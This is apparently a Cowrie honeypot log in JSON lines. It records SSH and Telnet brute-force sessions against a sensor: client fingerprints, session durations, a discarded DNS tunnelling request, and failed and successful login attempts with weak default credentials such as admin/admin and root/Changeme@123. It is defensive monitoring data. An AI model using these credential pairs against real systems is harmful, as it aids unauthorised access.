{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.541265Z","src_ip":"87.251.64.176","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.640575Z","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.724131Z","src_ip":"221.139.88.149","session":"b3e115122ca4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.738904Z","src_ip":"87.251.64.176","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.900313Z","src_ip":"196.189.51.7","session":"756b4aab20cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:55.973698Z","src_ip":"87.251.64.176","session":"bf8700672c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwerty123","message":"login attempt [dev/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:56.521561Z","src_ip":"221.139.88.149","session":"b3e115122ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:57.768287Z","src_ip":"221.139.88.149","session":"b3e115122ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42724,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0e45fcb31e","protocol":"ssh","message":"New connection: 80.94.92.186:42724 (159.203.135.109:22) [session: 5c0e45fcb31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:59.861844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:42:59.944921Z","src_ip":"80.94.92.186","session":"5c0e45fcb31e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:00.080556Z","src_ip":"80.94.92.186","session":"5c0e45fcb31e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:00.843098Z","src_ip":"80.94.92.186","session":"5c0e45fcb31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:02.037334Z","src_ip":"80.94.92.186","session":"5c0e45fcb31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"15fe9d97dad4","protocol":"ssh","message":"New connection: 159.203.92.129:53652 (159.203.135.109:22) [session: 15fe9d97dad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:06.525064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:06.530027Z","src_ip":"159.203.92.129","session":"15fe9d97dad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:06.542241Z","src_ip":"159.203.92.129","session":"15fe9d97dad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjunbiao","password":"123","message":"login attempt [Yingjunbiao/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:06.558267Z","src_ip":"159.203.92.129","session":"15fe9d97dad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:07.566440Z","src_ip":"159.203.92.129","session":"15fe9d97dad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":37104,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42f9850a99d","protocol":"ssh","message":"New connection: 140.106.25.230:37104 (159.203.135.109:22) [session: a42f9850a99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:09.046452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:09.131420Z","src_ip":"140.106.25.230","session":"a42f9850a99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:09.158893Z","src_ip":"140.106.25.230","session":"a42f9850a99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:09.515885Z","src_ip":"140.106.25.230","session":"a42f9850a99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:10.550723Z","src_ip":"140.106.25.230","session":"a42f9850a99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":38360,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04e71bd0616","protocol":"ssh","message":"New connection: 185.216.119.134:38360 (10.17.0.5:22) [session: d04e71bd0616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:17.712402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:17.743993Z","src_ip":"185.216.119.134","session":"d04e71bd0616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:18.523980Z","src_ip":"185.216.119.134","session":"d04e71bd0616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme@123","message":"login attempt [root/Changeme@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:20.080310Z","src_ip":"185.216.119.134","session":"d04e71bd0616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:21.305796Z","src_ip":"185.216.119.134","session":"d04e71bd0616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":56912,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce885948fb0","protocol":"ssh","message":"New connection: 31.59.89.180:56912 (159.203.135.109:22) [session: 2ce885948fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:21.863380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:21.868426Z","src_ip":"31.59.89.180","session":"2ce885948fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:21.996754Z","src_ip":"31.59.89.180","session":"2ce885948fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345678","message":"login attempt [minecraft/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:22.456074Z","src_ip":"31.59.89.180","session":"2ce885948fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:23.568041Z","src_ip":"31.59.89.180","session":"2ce885948fb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.113.167.133","src_port":38841,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4627c1a5cd0","protocol":"telnet","message":"New connection: 93.113.167.133:38841 (10.17.0.5:23) [session: a4627c1a5cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:40.328395Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38120,"dst_ip":"159.203.135.109","dst_port":22,"session":"619440a88948","protocol":"ssh","message":"New connection: 159.203.92.129:38120 (159.203.135.109:22) [session: 619440a88948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:51.933666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:51.939683Z","src_ip":"159.203.92.129","session":"619440a88948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:51.945730Z","src_ip":"159.203.92.129","session":"619440a88948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjunbiao","password":"123456","message":"login attempt [Yingjunbiao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:51.960817Z","src_ip":"159.203.92.129","session":"619440a88948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:52.970766Z","src_ip":"159.203.92.129","session":"619440a88948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.435670375823975,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:53.763970Z","src_ip":"93.113.167.133","session":"a4627c1a5cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":40814,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8dbe32c6a46","protocol":"ssh","message":"New connection: 173.249.6.197:40814 (159.203.135.109:22) [session: a8dbe32c6a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:55.929370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:43:55.934295Z","src_ip":"173.249.6.197","session":"a8dbe32c6a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2